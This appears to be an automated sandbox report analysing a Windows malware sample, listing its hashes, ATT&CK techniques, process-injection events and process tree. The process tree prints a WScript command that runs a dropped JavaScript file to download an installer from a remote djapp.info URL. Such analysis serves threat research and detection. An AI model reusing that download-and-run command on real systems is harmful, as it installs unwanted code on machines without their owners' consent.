4d12ee6aa31ef56d6607fbbadade36abe1a0210a6b71643cdf4b94ce0df4d9f5

Analysis

max time kernel
140s
max time network
102s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
02/05/2024, 13:34

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General

Target

0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe
Size

184KB
MD5

0ea4bf72c0c43987ecad06856fdfe5e5
SHA1

5edd8ae54c959d25a2b47dede9f53289696810fa
SHA256

4d12ee6aa31ef56d6607fbbadade36abe1a0210a6b71643cdf4b94ce0df4d9f5
SHA512

5fcc417029bcc60cc914b33799d551b1ea3d1c6f214681411feb49dc1f14cc82f929c2349002eb17387642c48be724b64d31efee1551ba6af3414e490eb6e9f3
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3+:/7BSH8zUB+nGESaaRvoB7FJNndnr

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
21	4680	WScript.exe
36	3008	WScript.exe
37	3008	WScript.exe
41	2136	WScript.exe
58	4796	WScript.exe
61	724	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000_Classes\Local Settings	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4952 wrote to memory of 4680	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	84
PID 4952 wrote to memory of 4680	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	84
PID 4952 wrote to memory of 4680	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	84
PID 4952 wrote to memory of 3008	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	98
PID 4952 wrote to memory of 3008	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	98
PID 4952 wrote to memory of 3008	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	98
PID 4952 wrote to memory of 2136	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	99
PID 4952 wrote to memory of 2136	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	99
PID 4952 wrote to memory of 2136	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	99
PID 4952 wrote to memory of 4796	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	102
PID 4952 wrote to memory of 4796	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	102
PID 4952 wrote to memory of 4796	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	102
PID 4952 wrote to memory of 724	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	103
PID 4952 wrote to memory of 724	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	103
PID 4952 wrote to memory of 724	4952	0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0ea4bf72c0c43987ecad06856fdfe5e5_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4952
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3930.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3930.exe
  2⤵
  - Blocklisted process makes network request
  PID:4680
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3930.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3930.exe
  2⤵
  - Blocklisted process makes network request
  PID:3008
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3930.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3930.exe
  2⤵
  - Blocklisted process makes network request
  PID:2136
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3930.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3930.exe
  2⤵
  - Blocklisted process makes network request
  PID:4796
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3930.js" http://www.djapp.info/?domain=dqZTLcwcRV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3930.exe
  2⤵
  - Blocklisted process makes network request
  PID:724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3930.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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